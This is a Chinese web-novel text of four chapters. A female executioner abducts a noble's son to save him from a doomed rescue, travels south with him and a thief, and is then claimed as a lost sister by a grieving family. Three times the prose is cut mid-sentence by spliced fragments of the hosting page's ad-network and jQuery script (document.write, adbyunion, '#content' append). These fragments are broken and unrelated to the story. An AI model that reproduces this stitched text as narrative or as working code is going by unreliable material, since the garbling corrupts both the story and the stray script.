《寒衣赴阙庭》 1. 匆匆回首,盈风满袖 “大人,我小儿不容易,从前跟我们吃了不少苦,最是怕疼。您行行好,让他走的干脆一些。”老者粗黄而又布满褶皱的手,趁着求情之际,悄悄挪到她袖口,袖子登时坠了许多。 路壬点点头,手起刀落,血溅了一身。一个优秀的刽子手,本不应该将血沾在自己身上,太难洗掉。 老者别开了脸,老泪纵横,颤抖地去收敛儿子尸骨。 朝廷年下的节礼发下来了,一斗米,半壶油,并几方衙门文职同僚写的对联。 算起来朝廷年节的抚恤,加上囚犯家属给的孝敬钱,足够路壬过个好年。 “小路,正巧你的节礼我们一块领回来了,今年这节礼多,等下值再去割二两肉,回去包些饺子,就是个好年。” “正是,多谢赵大哥。”路壬回了个礼,又找了个包袱装了装,好歹好拿一些,“我回去换身衣服,正好将这东西送回去。” 赵大瞧见她沾了半身血,也就点点头让她快去快回。 路壬背上包袱,她怕壶里的油漏了,只好腾出一只手拽着吊绳,油壶荡来荡去,貌似自由却有牵绊,撒不出什么。 今年算是个暖冬,地上的薄雪被来往车马和行人碾压,成了一摊子的灰糊糊的冰碴。路壬尽力避过,洗衣本就是折磨,刷靴子更是。 不过路上还有许些人铺了摊子,卖爆竹和桃符的,红鲜鲜一片。 路对面有个小儿牵着爹娘东逛西逛,最后闹着要买糖葫芦。他爹娘哄了片刻,还是给他买了串红鲜鲜的糖葫芦。 路壬走了过去,等那家人付完钱,掏出了几个铜板递给小贩:“要两串,大一些的。” “唉,客官,给您挑了大的,您吃好了再来。”小贩恭敬给她递了过去,转头又吆喝起来。 路壬瞧了瞧身上干涸而发黑的血,同衣服的颜色几乎无二,难怪她回来时也没瞧见别人的异色。 路壬推开院门,门口积了好些雪,经久失修的门自然也难推了些。 小院并不大,四四方方,有颗分叉矮矮的石榴树,小儿都能坐上去,只是深冬落了叶子,了无生机。 再往里一点便是一口井,路壬怕冬日井水冻上,拿稻草煨了一圈,又盖上一层木盖加一层稻草褥子。 茅厕在边角。 除此还有三间房,主屋相对大一点,路壬用柜子和屏风隔出来了三个小屋,一间用来安置床榻,中间的那间摆了三张椅子,以防有客人来无处招待,屏风后的那间用来放浴桶,供她沐浴。 另外两间,其中小一点的原先就垒有灶子,路壬直接拿来当作厨房,另一间用来堆放些杂物。 寸土寸金的京城,一方小院的租金就贵的吓人,不过在衙门办事,除去每月俸禄,还有按人头来算的酬金。过节发些米面粮油,这一方小院也比自己单赁要便宜的很多。 除去她赁小院的月租,过了年之后应该还能买个骡子,开了春赁下一小块地,种些粟米、蔬菜,也能减小些开销。最好是能养只狗,又能陪她,又能看门。 暂时日子先就这么混下去,再攒几年钱,她要寻处山清水秀的地方,买个小宅,再买上几片田,养些鸡鸭鹅,一辈子大概也这么过去了。 路壬匆匆换下带血的衣服,扔到盆中泡着,等下值再洗。 她新换上不沾血的衣服,干净整洁,许是洗了太多次,有些褪色。 快至中午,原可以在家用膳,只是不是每日都有头砍,这种告假还是要去点卯的。 冬天走路会比坐骡子暖和些。 一盆热水从楼上浇了下来,寒风吹来,正是一阵透心凉。 路壬抹了脸上的水,瞧了瞧刚换好的衣服,面色如常。 “底下是怎么看路,没瞧上面要泼水?” 楼上的人倒打一耙后,嘭一下子关上窗户,只留路壬在寒风中站着对着路人,显得有些窘迫。 马蹄由远及近,一阵风过,几个少年纵马长街,是勋贵家的孩子,穿着狐裘,带着锦帽。 瞧见了热闹便也放慢了马。 其中一个锦衣少年道:“好一个美人,可惜了衣服,真是的,也不知道怜香惜玉。” 另一个少年拉住他,摇摇头,示意他少管闲事。 路壬并不想理会这些瞧着好心的公子哥们,抬脚就要原路返回。 一匹马蹭到了她,不疼,只是蹭多了些灰。不过衣服已经湿透了,也不差这点土。 “没事吧,抱歉,这个给你。”肇事的少年也不停马,也不知从身上哪处拽下一个珠子,扔给了路壬。 路壬刚巧接上,再一抬头那人便只留了影子。珠子是玉做的,圆润饱满,触手生温,能抵她一座小院。勋贵人家随手打赏的东西,都能当她们的身家性命。 一旁的米店老板道:“云家的哥儿倒是心地好。” “云家?”路壬听着耳熟,接下去老板的话。 “就是那个三朝首辅的云家啊。刚骑马过去的就是云二公子,云配。” “云配……”路壬愈发觉得熟悉,谢过老板后,还是回家换了身衣服。 路壬到狱里的时候,告了几日假的陈头也回来了,高高兴兴派着红鸡蛋和面果。 “呦,小路回来了?这份是给你的。” “多谢陈头儿,恭喜恭喜了。” 赵大打趣道:“陈头喜得了千金,跟我们念叨了好一会子。” 陈头叹了一声道:“不过我这次回来是找长官请辞的。” 路壬一时没转过来:“为何请辞?” “咱们这活计倒是比其他来钱快,但到底是说是咱们刽子手命里带煞,背了人命,损阴德的,反正是不详。我怕到时候没媒人去我家提亲。”陈头说完,拍了拍路壬的肩,继续去发他的红鸡蛋和面果。 嫁人,路壬暂时没考虑过。她的差事就是个刽子手,寻常人家也没有敢给她说媒的。 路壬无所谓,她本就不是一个很好的人。她生在土匪窝,土匪窝被剿灭后,当过乞丐,贩过马匹,也为了金银砍过人,背着一把刀流离辗转,最后勉强找了一份刽子手的差事糊口。 给她一个女流之辈这个差事的原因,正是所谓刽子手有损阴德而无人应召。阴德都是虚的,人还没活下来,就先去想死了的事,本末倒置。 相看的时候,她手起刀落,当场将一头猪开膛破肚,还切了个刀痕最好看的猪头。长官当即拍板定下了她,一月九贯,人头另算。她暂时才算在京城安个家。 大狱里头世情凉薄,京中的大狱里更少不得本就生性凉薄的王公贵戚。 什么冤假错案,构陷罗织,对于路壬来说,都不过是一颗一颗脑袋,每颗一百文,长官暂时还没有给脑袋涨价钱。 崔大正在那抻着胳膊,几人围坐这谈论起来:“今定国公一大家子,几百口人,全都下了狱,牢房都满了。” “小孩子也要死?” “狗都要死。” 路壬插了一句:“狗头算钱吗?” 赵四听她这样问,笑道:“定国公家能有几只狗啊?” 大家心情不错,对于以脑袋糊口的人来说,这是个丰年。 定国公小姐是个名震京师的美人,自小才名远播,亲事也定下了弘王。英雄美人,本是佳话,但手握重兵的弘王谋反了。 弘王被肃清,弘王一党自然也要被清算,定国公府中与弘王来来往往的信件,自然烧掉了整个定国公府。 当时,这是路壬知道的,天下也都是知道的。如果这时候有什么人愿意为这些罪人奔走劫狱,那真的脑子坏掉了。 路壬找出自己的刀,总棉布沾着酒小心擦拭。去跟长官告了假,她要去验证一件事。 又薄薄地下了层新雪,浅浅覆盖住马蹄车辙。 如果她没有猜错,那人会在出城找人。 所以她蒙好面提前等在这,布好了绊马索。 城外更冷,林子四面漏风,早知前两天就该把另一身袄子拆洗了。 黑衣人骑马而来,相较于白日那般张扬,这人晚上就低调多了,连白马都换成了黑马。 一声闷闷的落地声,路壬拿着刀走了过去,将刀驾到那人脖子上。 “你是谁?” “打劫的。”路壬从腰间熟练的拽过绳子将人捆上,堵上嘴,带上了马车,一路向南。 他们走了很久,才找了一家客栈歇息。江湖人歇脚的地方,鱼龙混杂。路壬肉疼地拿出一贯钱,开了一间上房。 人被幕篱包裹的严严实实,众人只当是个娇贵的大家小姐。再一看路壬身上的大刀,连打听的念头都没了。 进到房间里,路壬给他摘了幕篱,取出嘴中塞的布。 “你是谁?”那人倒是没有很惊恐。 路壬刚要扯下面上的布。 “算了,别摘了,我懂你们这行的规矩,要是被我看到脸,我就活不了了。” “我不杀你。”路壬扯下布,露出一张还算清秀的脸,跟她身后明晃晃的大刀还算相衬。 “那你要……” 未待那人说完,路壬伸出手摸了摸他的脖子。 路壬经常拿刀,手上有层薄茧。 冰凉又粗糙的摩挲,激的那人一激灵。 还未待那人反应过来,路壬面不改色地说了句让人遍体生寒的话:“你脖子挺长的,适合砍。” 那人缓缓抬头,看向路壬的眼睛中困惑、不解、不可思议,然后又轻轻咽了下口水。 路壬给他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 倒了杯茶。 她现在十分确定,这颗脑袋她砍过,不止一次。 “唉唉唉,怎么着又摸我头?你不会觉得我脑袋也好砍吧!”那人脸色更不好看了,想护住脑袋,但手还被捆着。 “没有,在脖子上长着挺好的。”路壬见他有些怕,把刀放远了些。 “你为什么要绑我?” “为了救你。” “我同你认识吗?” “不太认识。” “那你认识我?”那人更是费解,半路被打劫的绑了,劫道的说要救他,但还不认识他。他不理解其中的关键,但总觉得哪里有点毛病。 “我知道你姓云,不知道你叫什么。”路壬看了他许久,开口道。 “你都不知道我叫什么,你绑我?还要救我?” “那你叫什么?” “云配。” “知道了。” “我想起来了,你是觉得一颗珠子不够?你放我回去,我给你一斛珠。” “跟珠子无关,我怕说出来后,你会觉得莫名其妙。”路壬取出珠子塞到他发髻之中。 “暂时没有事情比我在这被你绑着手脚,还在这跟你聊天要莫名其妙了。你怎么知道这珠子是藏在我头上?” “你自己说的。”路壬捏了捏茶杯,硬硬的,硌手。 他什么时候说的?云配更莫名其妙了。 “我今日真的是有急事,你把我放了,你提什么要求我都答应。” “你要干什么?” “我要去救我兄弟。” “不行。” “人命关天。” “你的命还在我手里。” “你不是说要救我?” 路壬把刀放在桌上:“你不去,谁也都不会死。你去了,除了你家,都会活着。” “什么?” 路壬又去摸了摸他脖子,确认一下她确实没认错,之前瞧上去没那么傻。 “你又摸我干嘛?”那人缩了缩脖子,身体后仰。 路壬在他震惊目光注视下。又说出了一句更让他震惊的话。 “你不像他。” “……”云配沉寂片刻,市面上无数替身话本朝他脑内攻击而来,接着便吼道:“你有毛病吧!” 凛风呼号,吹开了一扇窗户,大片的雪花飞了进来。遥遥群山延绵,荒林野道,满目银白。 “冬天身上沾了血,又脏又黏又难洗。要用冷水去洗,用热水的话,血就会粘在衣服上,再也洗不干净了。牢狱里的人脑袋掉了,可是砍他们脑袋的人衣服也脏了。” “……”那人又问道,“你想说什么?” “你的血粘在衣服上,不太好洗。” “……我不是很懂你的意思。” “血还没沾在你衣服上,就不要找事了。” 路壬愣愣的看了会窗外,还是将窗户阖上了。房中有些滞后的冷,那人有些缩脖子。 路壬将他打横抱到床上。 这下云配眼中什么情绪都没有了,除了震惊还是震惊。 路壬给他围了一圈被子。自己则靠在榻上沉沉睡去。 云配隔着衣服掐了掐自己,不疼,他不会还在做梦吧。实在是今日之事太过匪夷所思,怎么瞧都不真实。 也许一觉醒来,自己还在家中,定国公府也一片太平。 他现在实在挣脱不开。他想:仲安啊,你再等一等,我一定会救你和你家人的。 夜深人静,云配小心挪动,试着下床。 脚刚一沾地,路壬就醒了。 “怎么起来了?想逃跑?”路壬起身凑近。 “我……我要如厕。” 路壬指了指夜壶。 “你是女子,怎么能看?” “大牢里没有东西给你挡着,来来往往的人都会看你。所以别蹲大狱。”路壬觉得自己苦口婆心。 “我觉得我可以再忍一忍。”云配一想到自己兄弟定国公世子,竟然要在牢狱中露着屁股上厕所,不免悲从中来。 仲安啊,你再等一等,我一定会救你和你家人的。 “你要为难,我可以扶你去外面,但不能跑。” “可以。” 客栈的茅房又矮又小,根本藏不住人。 云配瞧着没有逃跑的机会,认命地如厕完走出来。 至少不至于逃跑时被人按倒在地,跌到茅坑上。穷山僻壤的,怕是只能穿着那身衣服走上一路。 士可死,但不能一身屎。 云配身上披了一件客栈的薄褥子,被风刮的有些鼓包。 路壬看着他,想起长街回首,那人盈风满袖。 比牢狱里要鲜活,她想。 2. 风雪载途,离同与休 “我一直在想,你要救我有什么原因?”回到房中,二人烤了好一会火才暖和起来。 “做什么事,一定需要原因吗?”路壬喃喃说道。 “我和你喜欢的那个人很像吗?” “喜欢的人?”路壬有些困惑不解。 “你说我不像他,他是谁?不是你喜欢的人吗?”问这话时,云配的气势无端矮了几分。 “他不是我喜欢的人。” 云配深深看了她一眼道:“他死了?” “死了吧也算。”路壬自己还有一种不切实际的飘渺感,实在不好去回复这个对自己悲惨命运一无所知的少年。 不过至少,她会尽全力让他活着。 放在云配的立场他也说不出什么宽慰的话,但还是不要给自己惹上什么情感麻烦:“死了的人只适合怀念……” 还未待云配说完,一声吱嘎,窗户被人扯掉了半边,传来一句幽幽的少年嗓音:“活人才适合用来纠缠。” 路壬看着裂开的窗楞,押金应该退不了了…… 然后便是砰的一声。 路壬攥住云配手腕将他往身后拉,拔刀挡在身前,才从一个角落往地上瞧。 一只手攀着窗边沿,路壬拿刀探过去,看见的是一个靛蓝衣装的少年。 少年翻身立在窗台,风雪灌入房间,身形瘦削,但到底年少,面上未有凹陷,昏黄的烛光映着他的脸,柔和又冷冽。 路壬刀尖指着那人咽喉:“来者何人?” 少年掸掸身上的雪,无奈摊开双手。 “很显然,我是个偷儿。” “你来干什么?” “分一杯羹。”少年从窗台跳下来。路壬才注意到少年腹部正流着血。 但少年脸上是堆着笑的,倔强又有些冷漠。 不知为何,云配很讨厌这人的眼神,不由得攥紧了路壬的衣袖。 路壬见他害怕,又往前走了走,将自己身子整个挡在云配前面。 云配呼吸一滞,身前人的身影消瘦但不单薄,无端给他生出几分勇气。 他忽然有些好奇路壬会说些什么石破天惊的话。 “他得是个完整的。” “……”他就不该抱什么希望。 “如果我对着楼下喊一声,临安云氏的二公子在此,你猜这小公子还会不会完整?” “你想怎么样?” “我要去临安,你们跟我去。” 路壬对着他道:“我们不同路。” “先跟我去临安,事情办完。随便你们去什么地方。” 这人说的没错,单靠路壬一人,难以抵挡住云配身份暴露的风险。 形势相迫,路壬收刀答应:“可以。” 二人默契地没有搭理当事人。当事人也明白其实有些事不可能每个人都会高兴的。 蓝衣少年将窗户尽力掩上,潇洒冲着二人行了一记江湖礼。 “既然答应,我们三人便是同路人,在下怀永安。” 静了片刻,气氛有些焦灼,没有人接下去这句。 屋里寂静无声,只有窗外簌簌飞雪,云配接了一句道:“听起来是有大志向的。” “永是辈分,发财富贵吉祥如意都没了,就剩下个安……” 路壬面无表情,瞥了一眼云配:“安挺好的,活着才有资格谈身外物。” 怀永安深表认同,笑的时候嘴角有两个梨涡,更显乖张:“不过啊,一个贼叫永安还挺讽刺的。” “那要不现在改个名吧?”路壬生平就没怎么安慰过人,更不想听什么悲伤往事。 “我自己倒是起了一个名字,叫微同,不过我还有事要办,只能先做着怀永安。这位女侠,你叫什么名字?” “路壬。行路的路,天干地支的壬。” “好名字,听着平平无奇,实际内有乾坤。” 路壬白了他一眼,不再理会。 云配瞧见怀永安腹部仍在流血,便小心翼翼指了指道:“这位永安少侠,你在流血不要紧吗?” “还是有点要紧的……” 路壬将云配到脚的幕篱扯了一半,塞给了他。 “没药,黑店买药会要命的,只能去下面买点酒。” 路壬看着仍旧堆笑的少年,有一丝不祥的预感:“你不会没钱吧……” 路壬认命的掏出一串铜钱,去楼下买了酒。 要想买酒,须得去大堂。 即便已是深夜,堂中仍满是喝酒的江湖人推杯换盏。 他们有可能是盘缠不够,一盏酒坐至天明;也有人等着深夜往来的宾客,做些生意;自然也有混入其中打算趁乱偷盗些钱财。 路壬去买酒时,有个不怀好意的中年男人调笑,“你这小娘子生的美貌,怎么喝的酒这样烈?” “用来擦刀的,路上沾了血,怕生锈。”还未待那人反应过来,路壬已经抽刀架在那人面前了,“你看。” 中年男人未曾想过她出刀如此之快,刀刃就横在他的眼前,之前眼前的少女并未有杀他的打算,果然在刀上瞧出来些不干净的血渍。 “原来如此,原来如此,小娘子的刀确实应该擦一擦,掌柜的,这酒钱我替小娘子付了。” 路壬点点头,并不推拒,收了刀,朝那人行了一记江湖礼:“多谢,大哥你真是个好人。” “哪里哪里。”男人付过钱,便忙同路壬告别,回自己桌上喝酒了。 路壬端着酒走了上去,见两人端坐在床两头。 “你们两个怎么了?”路壬将酒倒在盏中,察觉到二人之间的微妙氛围。 “没事,实在不知同云兄弟聊什么。”怀永安见酒来了,便也起身接过,脱了上衣便开始清理伤口。 云配出于自身的素质,点了点二人:“路姑娘要不回避一下?” “割肉,不碍事的,我见过。”路壬看了一眼怀永安的伤口,摇摇头,转过来又来教育起了云配:“大牢里严刑逼供的事情很多,伤口比这可怖的有的是,所以别蹲大狱。” …… 仲安呀,你再等一等,我一定会救你家人的。 夜色已深,云配好心将自己的床让一半给怀永安。 怀永安也不矜持,躺在床上就睡。云配看着抱着刀睡在榻上的路壬,看了很久。 天亮了,他们就要动身了。 江南好远,马车颠簸,前路一眼望不到边。 这几日并未有云家的人来寻云配。所以比路壬预想的要好许多。 路壬不到十贯钱的积蓄是烧地很快,在家千日好,出门一时难。 刚开始还能住个稍微干净些的酒馆,现在只能三个人勉勉强强窝在一处杂物间住一宿。 三个人盖着两张破破旧旧的被子休息,云配睡不着,睡不着他就会盯着路壬的脸看,现在也盯一盯怀永安,不知道干什么的时候,找点事干,找点事情想,也会好一些。 云配并未觉得困苦,他们现在勉强还可以温饱,他的好友定国公世子仲安现在仍身在囹圄,等着他去救。 定国公府的故旧恐怕如今避之不及,愿意救他们的也许只剩他自己了。 一声响声,将杂物间的窗户吹开,寒风呼啸而来,怀永安和路壬并没有醒。 云配悄悄移出被子,慢慢的爬上窗户,杂物间的窗户不大,但容一个成年人进出足矣。 月光洒在二人脸上,瞧着倒分外祥和。云配回望了一眼,默道:“后会有期。” 酒馆这条街临河而建,寒冬腊月,业已结冰,到对岸不过几丈远。 只要走过这几丈冰面,他就可以去搬救兵救人了。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>云配小心翼翼走过去,冰面厚度应该撑住他,只是他穿的靴子并不防滑,黑灯瞎火的摸黑,耐不住脚底抹油。他重重扑倒在地,冰面有一声沉闷的裂声。 他蠕动身体,不敢轻易动弹,冰面裂开的声音继续响起,哪怕云配撺了劲的往前爬,他现在也只能在河中央。 这样的寒夜,落冰水里会死人的。 高门大户的公子哪里见过这种情形,随着他的爬行,裂冰声更像一种凌迟,缓慢的侵蚀他所有的神经。 终于,一声清脆的破冰之声,云配整个身子都没入冰水之声。 他潜意识里是屏住自己口鼻,防止自己发出声音,同时用双手去捉冰洞的边缘,只能捉住一块一块的碎冰。 他并不会水,身体的快速室温使得他的身体控制不住的挣扎。 挣扎声吵醒了路壬和怀永安。 “路壬!” 路壬一个翻身从窗户出来去捉他的手,只是冰面脆弱,直接也掉了下来,但她用胳膊勾住云配的脖子,使得他的口鼻能够呼吸,云配也少了几分挣扎。 带着一个人凫水很是消耗体力,更何况冰水之中。冬日的衣服浸水沉的要死,路壬只来得及脱下云配身上的棉衣,将他推给岸上的怀永安,自己慢慢在往下沉。 怀永安这边刚将云配从水中捞出来,又看着水已经没过了路壬的口鼻。 不好,她的体力大概耗尽了。 怀永安连忙踏着冰面过去捞人。深更半夜,除了被救的路壬没人看到他触水凌波。 将二人呛进去的水按到吐出来后,怀永安一肩扛上一人,先是翻过了酒馆的小楼,将二人塞到马车上,要去找医馆,只是夜半宵禁,人生地不熟,怀永安只找到一家开到现在的客栈。 他探入路壬的怀中,取出来她所有的积蓄,从中又掏出一贯钱定了一间上房几日。让伙计先给这两人换了身干的衣服,顺带烧了两桶热水,等到两人在屋里身子热乎些,再让他们俩在浴桶里泡一泡。 怀永安自己则是回他们先前的酒馆把行李和路壬的刀取回来。 只是他没想到先醒来的的是云配,怀永安以为身子康健的路壬,泡澡完不久便起了高热。 怀永安一夜没睡,头吹了风也沉的要死,只是还要同云配一早去医馆给路壬抓药。 当然,用路壬的钱。 少一个人看顾,云配若是要逃的话轻松许多,只是昨夜路壬舍命相救,实在不好卷着她的积蓄逃走。 医馆医师要价很贵,说是有一味药在冬日很是珍惜,至少要十二贯钱。 云配不知物价,怀永安向来不付钱。二人将身上的银两都给了医师,云配还将藏在发髻里的珠子也抵上,还要他们再干上两天的苦力才行。 只是人命关天,二人还是答应了,才换了几副退热的药。 “要不是我不知药方,不然也不会这么为难。”怀永安拍拍云配的肩,认命的扛起草药。 云配哪里干过这种粗活,干完一天腰酸背痛,哪哪都疼。 不过好在路壬吃了两幅药后体温降下来些,额头也没那么烫,只是脸上仍烧的绯红,满是病态。 “这种高热,闹不好会烧痴傻的。”怀永安摸了摸路壬额头,退了些,但还是比常人高。 “用酒擦一擦会不会好些?我先前发高热时,家里都是用烈酒擦身的。”云配翻出先前怀永安剩下的酒,倒出来浸在手巾里,擦拭着路壬的额头,脸颊,耳后,颈窝和手心。 轮着忙活一夜,路壬的烧可算退了,只是还没醒。二人起了一大早,又去医馆去做苦工,医馆翻晒药材,只让他们两人去做,第二日干完,二人只觉双手双脚废掉了。 路壬醒时已经是这日的傍晚了,她瞧了瞧自己身上的干净衣服,又瞧见旁边桌上自己空荡荡的钱袋,陷入了沉思。 3. 平生意气,泪眼茫茫 路壬长发披散,直接下去有些失礼,只是找了半天都没寻到自己的簪子,那两人该不是银钱不够花把她的簪子都当掉了吧。 最后还是问过来收拾的伙计借了根木簪,简单挽了发。 “把我送到这里的人,去哪了?” “哦,您是说的那两位小哥,应当是去医馆了,姑娘高烧不退,这两日的药都是他们找来的。”伙计是个比路壬还小的女孩子,看起来不过十三四岁。 “可否告诉我附近的医馆都在何处?” “隔一条街有一家,叫妙手医馆。再远一些,从这边街头往北走,过两条街后左拐,那里有家杏林医馆。剩下的医馆就远了,我也不清楚怎么走。” “劳烦。”路壬拿起门后的大刀,直愣愣走了出去。 怀永安云配两人将草药搬的差不多了,便被老板指派去分草药,还未炮制的草药上都混着些小虫,明明好似碌碌无为,偏偏在云配分草药时跑出来显示下存在感。 还有一些不长眼的,随处乱飞,直直撞进云配的左眼里。 云配吃痛,急忙闭着左眼揉了起来。 “我眼睛睁不开了。”云配捂着左眼,眼角因异物刺激,淌下一行清泪。 路壬就是这时候找来的,她直接翻过前堂的柜子,明晃晃站在云配面前,一手扯着云配揉眼的手,另一手撑起云配的眼皮,而后对着眼睛将异物吹了出来。 云配察觉到眼睛有浅浅微风吹过,舒缓极了。 路壬面无表情的脸上一下便多了两行泪,眼角和鼻尖变得绯红。 “我……你……我……”云配下意识伸出的手在触及路壬的泪珠时顿住,又缓缓收了回来。 “能……看见吗?”路壬缓缓松开手,声音有些颤抖。 “能……看见。”云配进虫的左眼还是很生涩,模糊但应当并无大碍,他觉得眼前的路壬很是悲伤,好像很久很久之前的孤寂,万年不化的愁怨,穿过遥遥的时间,映照在路壬身上。 只是路壬她好悲伤,为什么会那么悲伤? 路壬清泪留在脸上的时间很短,在云配收手的下一刻就拔了刀,对准医馆老板。 “为什么他们两人在此做工?” “一手交钱,一手拿药,他们买我的药,就该给钱,给不够钱就在这给我做工。”医馆老板理直气壮,食指和中指将路壬的刀掸远了些。 “药方呢?”路壬将大刀靠近了医馆老板脖颈了一些。 怀永安就站在那里,心道,会招惹麻烦的,只是他一步都没挪动。 伙计未曾见过这个架势,忙从柜子里翻找出来。 路壬看完药方后眉头更皱:“板蓝根十二贯?” 没听老板解释,路壬直接举刀砍掉了半个药柜。 “还骗你们什么东西了?”路壬对着怀永安发问。 “还有云兄弟的一颗珠子。” 路壬将刀重重拍在桌上:“交出来,这一纸药方的药至多一钱,多出来的钱和东西都拿出来。” 老板很少碰上硬茬,更少碰到这么硬的硬茬。只好着人去取钱和珠子。 “本是济世救人的医馆,你们可有想过此举会害的别人熬不过这个冬天?”医馆老板及其伙计忙跪着求饶。 路壬点了点钱数,便扔给怀永安,自己扯着云配的胳膊撤了出来,余光里瞧见怀永安默默的跟着出来,将什么东西塞进了怀中。 三人回到客栈不久,医馆老板便带着几个捕快捉拿他们。 路壬没有动刀,束手就擒,乖乖跟着回了去了牢里。 怀永安和云配都有些不可置信。 “她怎么了?” “寻衅滋事、殴差拘捕。”路壬说的有些熟稔:“打起来罪名更重。为了面子不值当。” “你知道律法?那你还砍人家店?” “刀在手里,没忍住。”路壬无可奈何,叹了口气。 她的确有些冲动了,眼前的云配是一个活着的、完整的、带着温度的云配。 怀永安不安分道:“我们要不越狱?” “目标太大,我们逃不出去,交保金吧。” 路壬和怀永安站在门边,商讨着计策。身后的云配踩踩地上的麦秸秆,掀一掀榻上的杯子,看看牢房的窗户,又特地瞧了瞧恭桶位置和高度。 怀永安在纠结要不要告诉云配,他们并不打算在这牢里长住。 “京中的死牢,条件跟这里一样吗?”二人都没想到他会问这个。 路壬又趁机劝他:“死牢里会更暗,一年到头死气沉沉,只有囚犯刚进门时半分生息,你老实一点,不要想着去京中死牢。” 见识过破烂的杂物间,这位世家公子的接受度已经颇高,直接撩了下摆,坐到了榻上,说是榻,其实也就是土搭起来的见方凸起。 思及路壬说,京中的死牢会条件更差…… 云配心里不由焦灼了几分。 仲安啊,你等我,我一定会救你家出来的! 最后医馆老板把他们抢回来的钱,全都要了回去,充作赔偿金。 “还有那颗珠子!”医馆老板知道他们身上有多少贵重东西。 只是颗珠子,云配想着多一事不如少一事,正要摘给他,只是想起这颗珠子似乎对路壬有重要意义,“珠子不行,其他的可以吗?簪子,腰带,我都能给你。” 云配虽然是简装出来,但身上的行头还是好东西,怎么也抵得上许些银两。 “我就要那珠子。”医馆老板不依不挠。 “他要你就给他吧,簪子和腰带更贵一些。” 路壬面上并没什么变化,使得云配也在思忖着她的情绪。 但对于路壬来说,那个珠子除了对她有些意义外,只是颗普通的玉珠,而那仅存的意义,不过是一个好心的人曾经存在于世间的证明。云配只要活着,其他的都不重要。 云配抠出来珠子。又试探性的看了看路壬的脸色,真的是……什么都看不出来呢。 给不给啊? 医馆老板并不客气,直接从他手中夺过,云配伸手欲争,手腕便被身旁的路壬捉住。 “珠子给你了,我们能出去了吧。” 一旁的官差点了头,算是许了。 三人一身的积蓄被保金和赔偿金消耗一空,齐齐站在衙门口。 “去哪?”云配问道。 “还有钱吗?”怀永安转头问路壬。 路壬一字一顿道:“我,的,银,子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,不,是,被,你,俩,掏,光,了?” 语气带些情绪,毕竟一下失去的是她从业十三个月的存款。 云配试探道:“要不把我的簪子和腰带当了?” 他到底还是江湖经验少了,以他的身份,只要告诉衙门他是被绑架的,凭着他身上的行头衙门自会让人去核实,正是他摆脱她和怀永安的最佳时机。 “瞎说,你身上还有块金锁。”怀永安笑道,说完,他忽然意识到什么,但话已经说出去了。 “哦,对,忘了,我去把它当了。” 路壬解下脖子上的金锁,小小的金锁,圆鼓鼓,很小的文字大概刻的生辰八字。递给当铺掌柜时,她面上没有一丝不忍。 “为什么?”云配总是不理解。很多东西似乎对她很重要,为何都轻易放弃? “什么为什么?不是缺银子么?”路壬不明所以。 掌柜接过,眼中不明晦暗:“活当死当?” “死当。能给多少?” “最多十五贯。” “可以,立契吧。十贯给我换成银子,另外五贯直接给我吧。” 十五贯不是大数目,三人领完就要直接回了客栈。 不过三人都没吃什么东西,便不由得驻足小食摊子前,点了三碗馄饨。 怀永安连喝了五六个馄饨,才放下碗喘了口气:“这两天吃不好睡不好的,还要忧心之后怎么赚钱。” “多谢。”路壬看了他们二人良久,道。 别人的不离不弃也不是应该的,自然要心存感激。 “无……妨,那路姑娘,能放我走嘛?” “不能。” “就算她放你走,我也不会放你走的,云兄弟,死心吧。”怀永安拍了拍他的肩。 “走?诸位要去哪里?”一个老翁拄着拐杖,出现在了三人身旁。他身上服孝,身后跟着的十来人皆着白麻衣。 路壬手扣到刀柄上,蓄势待发。 老翁将拐杖交给身旁的人,向前行礼道:“姑娘,在下卢府管家卢运,我家少爷有请,想请姑娘过府一叙。” 怀永安对着路壬使了使眼色。 路壬顿首。 “我要带着他们两个。” “自是应当。” 这里是这个普通的小镇,夹在南北中间,也不知是谁给取了一个四五镇的名字。 看周围围观的群众反应而言,卢家应当在四五镇的名望不低。 一进卢府,只觉清雅隽秀,只是门口,院墙上悬着白纱,院子往来的人虽瞧上去有条不紊,但都行色匆匆。 此起彼伏的哭声,顺着冬日的风飘来,冷冽,凄凉,还有点干。 卢运直接带着他们去了灵堂。 灵堂正中间跪着一个人,从背影上看不太出年级,只是头发乌黑,身形挺直,应当是个少年。 如无意外,他就是卢家的主人了。 “家主,人带来了。” 那人扶着蒲团起身,双腿有些僵硬不自然,如果是守灵的话,应该跪了许久了。 “在下,卢家家主卢献。是姑娘你的哥哥。”声音虽然有些喑哑,但仍听的出青石相击。少年一身麻衣,一脸疲态,并不掩一身风华。 4. 寻常往事,寻常燕 他缓缓的走到路壬面前,从袖子里掏出来一块小金锁。 “十六年前,五王兵变,我妹妹卢望被家仆抱着不知所踪。如今看到你回来,甚好。” 路壬拒绝掉这人递过来的金锁,尽管它值十五贯:“第一,我有父母,虽然是土匪,但也是父母。第二,一块金锁而已,并不能代表什么,也许十六年间,辗转无数。第三,我同你妹妹之间除了皆是女人和拥有金锁这两个相似点外,并无其他相似之处。” “卢某唐突了,只是可否请三位暂留几日,家父辞世,原不该请诸位稍留。只是不论如何,金锁找到,亦可告慰先灵,还请姑娘多留几日,家父也可安心去了。” “这位公子,你的父亲为何要我留着告慰……” 卢献不疾不徐道:“卢家自有谢礼,二百两如何?” “我的孝衣在何处?需要我哭的大声一点吗?”路壬眼都没眨,当即接受。 区区二十年的俸禄而已…… 路壬坦然接受,毕竟云配太烧钱了。 怀永安凑过去问道:“我跟着一块哭,也能有吗?” “不知这位公子是?” “我是她异父异母的亲生兄弟。” “也好,来人,也去给我异父异母的亲弟弟去准备一份孝衣。” 云配并不打算参与其中,虽然这些日子颠沛流离,但到底是累世的官宦,这点钱财还不至于让他给人带孝。 怀永安和路壬便不同,世上孤零零一个人,自然也不会有这种忌讳。 所谓忌讳,不过是吃饱了闲了没事干的人想出来的,毕竟世上总需要有些事情给人添堵。 卢献也在观察云配,短短时间他已经将三人来到此地的行事打探清楚,看似这个少年最好拿捏,实则油盐不进。 他一定不是个普通人,富和贵起码要占上一样,毕竟他显得太无欲无求了。 